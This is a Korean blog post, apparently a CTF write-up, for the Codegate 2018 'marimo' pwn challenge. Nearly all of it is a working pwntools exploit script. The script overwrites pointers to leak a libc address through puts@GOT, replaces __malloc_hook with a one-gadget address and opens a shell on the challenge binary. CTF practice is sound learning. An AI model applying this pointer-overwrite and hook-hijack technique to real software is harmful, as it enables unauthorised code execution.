[codegate 2018] marimo

2019. 1. 24. 18:28·PWN/CTF
728x90





자꾸 이상한 에러가 떠서 잘 안풀렸던 문제 ㅡ,ㅡ


간단하게 sleep을 중간 중간에 넣어줘서 풀 수 있었다.


메모리 안에 있는 포인터를 변조시켜서 쓱싹 해버릴 수 있는 문제이다!! 재밌다 ㅎㅎ



from pwn import *


s = process("./marimo")
elf = ELF("./marimo")
libc = ELF("./libc")

def hack(name,profile):
    s.recvuntil(">> ")
    s.sendline("show me the marimo")
    s.recvuntil("What's your new marimo's name? (0x10)")
    s.sendline(name)
    s.recvuntil(">> ")
    s.sendline(profile)
    

def view(num,content):
    s.sendline("V")
    s.recvuntil("Select number or [B]ack")
    s.sendline(str(num))
    s.recvuntil("[M]odify / [B]ack ?")
    s.sendline("M")
    s.recvuntil("Give me new profile")
    s.sendline(content)
    s.recvuntil("[M]odify / [B]ack ?")
    s.sendline("B")

gdb.attach(s)

hack("A"*8,"1"*8)
sleep(1)
hack("B"*8,"2"*8)
sleep(1)

pay = "K"*48
pay += p64(elf.got['puts'])*3
view(0,pay)

s.sendline("V")
s.sendline("1")
s.recvuntil("name : ")
leak = u64(s.recv(6)+"\x00\x00")
print "leak : " + hex(leak)
libc_base = leak - libc.symbols['puts']
one_shot = libc_base + 0xf02a4
print "libc_base : " + hex(libc_base)
print "one_shot : " + hex(one_shot)
system = libc_base + libc.symbols['system']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "system : " + hex(system)
print "malloc_hook : " + hex(malloc_hook)

sleep(0.5)
s.sendline("B")

pay = "K"*48
pay += p64(malloc_hook)*3
view(0,pay)
sleep(3)
view(1,p64(one_shot))

s.sendline("show me the marimo")

s.interactive()


저작자표시 비영리 변경금지 (새창열림)

'PWN > CTF' 카테고리의 다른 글

[Asis 2016] b00ks  (0) 2019.02.06
[Codegate 2019] got-the-reum  (0) 2019.02.05
[mma_2016] greeting  (0) 2019.01.18
[PCTF 2015] prodmanager  (0) 2019.01.05
[DefCamp CTF 2016] Warm heap  (0) 2019.01.03
'PWN/CTF' 카테고리의 다른 글
  • [Asis 2016] b00ks
  • [Codegate 2019] got-the-reum
  • [mma_2016] greeting
  • [PCTF 2015] prodmanager
J1W0N
J1W0N
jijijiji
  • J1W0N
    JIWON
    J1W0N
  • 전체
    오늘
    어제
    • 분류 전체보기 N
      • PROGRAMMING N
        • PYTHON
        • JS
        • 알고리즘
        • React N
      • WEB
        • LOS
        • rubiya
      • PWN
        • pwnable.tw
        • pwnable.kr
        • CTF
        • TIP
        • wargame
        • 읽자
        • HITCON_Training
      • Security_ETC
      • REVERSING
      • 할 것 정리
      • 잡담
        • 끄적끄적
        • 영어일기
      • 정보
      • 정리
  • 블로그 메뉴

    • 홈
    • 태그
    • 미디어로그
    • 위치로그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
J1W0N
[codegate 2018] marimo
상단으로

티스토리툴바